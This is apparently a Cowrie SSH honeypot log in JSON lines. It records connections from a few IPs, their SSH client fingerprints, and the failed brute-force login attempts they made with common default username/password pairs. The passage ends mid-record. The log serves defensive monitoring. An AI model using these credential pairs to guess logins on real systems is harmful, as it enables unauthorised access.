{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:55.235969Z","src_ip":"92.118.39.95","session":"17c28b09cc59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ando","password":"ando","message":"login attempt [ando/ando] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:55.375773Z","src_ip":"213.209.159.158","session":"056a847c1d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r","message":"login attempt [ubuntu/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:55.548194Z","src_ip":"92.118.39.95","session":"17c28b09cc59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:56.655189Z","src_ip":"92.118.39.95","session":"17c28b09cc59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:56.689104Z","src_ip":"213.209.159.158","session":"056a847c1d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13150,"dst_ip":"10.17.0.5","dst_port":22,"session":"0176267755eb","protocol":"ssh","message":"New connection: 213.209.159.158:13150 (10.17.0.5:22) [session: 0176267755eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:56.789175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:57.054086Z","src_ip":"213.209.159.158","session":"0176267755eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:57.058207Z","src_ip":"213.209.159.158","session":"0176267755eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backupuser","password":"backupuser123","message":"login attempt [backupuser/backupuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:58.349746Z","src_ip":"213.209.159.158","session":"0176267755eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:59.628883Z","src_ip":"213.209.159.158","session":"0176267755eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13152,"dst_ip":"10.17.0.5","dst_port":22,"session":"e22988999be5","protocol":"ssh","message":"New connection: 213.209.159.158:13152 (10.17.0.5:22) [session: e22988999be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:59.725495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:59.873873Z","src_ip":"213.209.159.158","session":"e22988999be5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:59.877546Z","src_ip":"213.209.159.158","session":"e22988999be5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"v5-admin","password":"123456","message":"login attempt [v5-admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:00.576693Z","src_ip":"213.209.159.158","session":"e22988999be5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:01.754051Z","src_ip":"213.209.159.158","session":"e22988999be5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":52500,"dst_ip":"10.17.0.5","dst_port":22,"session":"54f4ee0f81ad","protocol":"ssh","message":"New connection: 213.209.159.158:52500 (10.17.0.5:22) [session: 54f4ee0f81ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:01.854275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:01.960948Z","src_ip":"213.209.159.158","session":"54f4ee0f81ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:01.965893Z","src_ip":"213.209.159.158","session":"54f4ee0f81ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"voices","password":"voices","message":"login attempt [voices/voices] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:02.918913Z","src_ip":"213.209.159.158","session":"54f4ee0f81ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:04.173713Z","src_ip":"213.209.159.158","session":"54f4ee0f81ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":52508,"dst_ip":"10.17.0.5","dst_port":22,"session":"847455da1238","protocol":"ssh","message":"New connection: 213.209.159.158:52508 (10.17.0.5:22) [session: 847455da1238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:04.274474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:04.433779Z","src_ip":"213.209.159.158","session":"847455da1238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:04.436406Z","src_ip":"213.209.159.158","session":"847455da1238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"123456","message":"login attempt [arthur/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:05.190418Z","src_ip":"213.209.159.158","session":"847455da1238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:06.312634Z","src_ip":"213.209.159.158","session":"847455da1238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":52522,"dst_ip":"10.17.0.5","dst_port":22,"session":"4358c4eb3c4f","protocol":"ssh","message":"New connection: 213.209.159.158:52522 (10.17.0.5:22) [session: 4358c4eb3c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:06.421592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:06.427150Z","src_ip":"213.209.159.158","session":"4358c4eb3c4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:06.508610Z","src_ip":"213.209.159.158","session":"4358c4eb3c4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"password","message":"login attempt [weblogic/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:06.838773Z","src_ip":"213.209.159.158","session":"4358c4eb3c4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:07.942428Z","src_ip":"213.209.159.158","session":"4358c4eb3c4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":52536,"dst_ip":"10.17.0.5","dst_port":22,"session":"906b13dac7a8","protocol":"ssh","message":"New connection: 213.209.159.158:52536 (10.17.0.5:22) [session: 906b13dac7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:08.032279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:08.037331Z","src_ip":"213.209.159.158","session":"906b13dac7a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:08.135389Z","src_ip":"213.209.159.158","session":"906b13dac7a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cactiuser","password":"cactiuser","message":"login attempt [cactiuser/cactiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:08.476309Z","src_ip":"213.209.159.158","session":"906b13dac7a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:09.657020Z","src_ip":"213.209.159.158","session":"906b13dac7a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":52546,"dst_ip":"10.17.0.5","dst_port":22,"session":"421548848df9","protocol":"ssh","message":"New connection: 213.209.159.158:52546 (10.17.0.5:22) [session: 421548848df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:09.736377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:09.814701Z","src_ip":"213.209.159.158","session":"421548848df9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:09.904964Z","src_ip":"213.209.159.158","session":"421548848df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"123456789","message":"login attempt [backup/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:10.339360Z","src_ip":"213.209.159.158","session":"421548848df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:11.431371Z","src_ip":"213.209.159.158","session":"421548848df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":48958,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb0cc9df54c5","protocol":"ssh","message":"New connection: 213.209.159.158:48958 (10.17.0.5:22) [session: fb0cc9df54c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:11.509833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:11.517019Z","src_ip":"213.209.159.158","session":"fb0cc9df54c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com"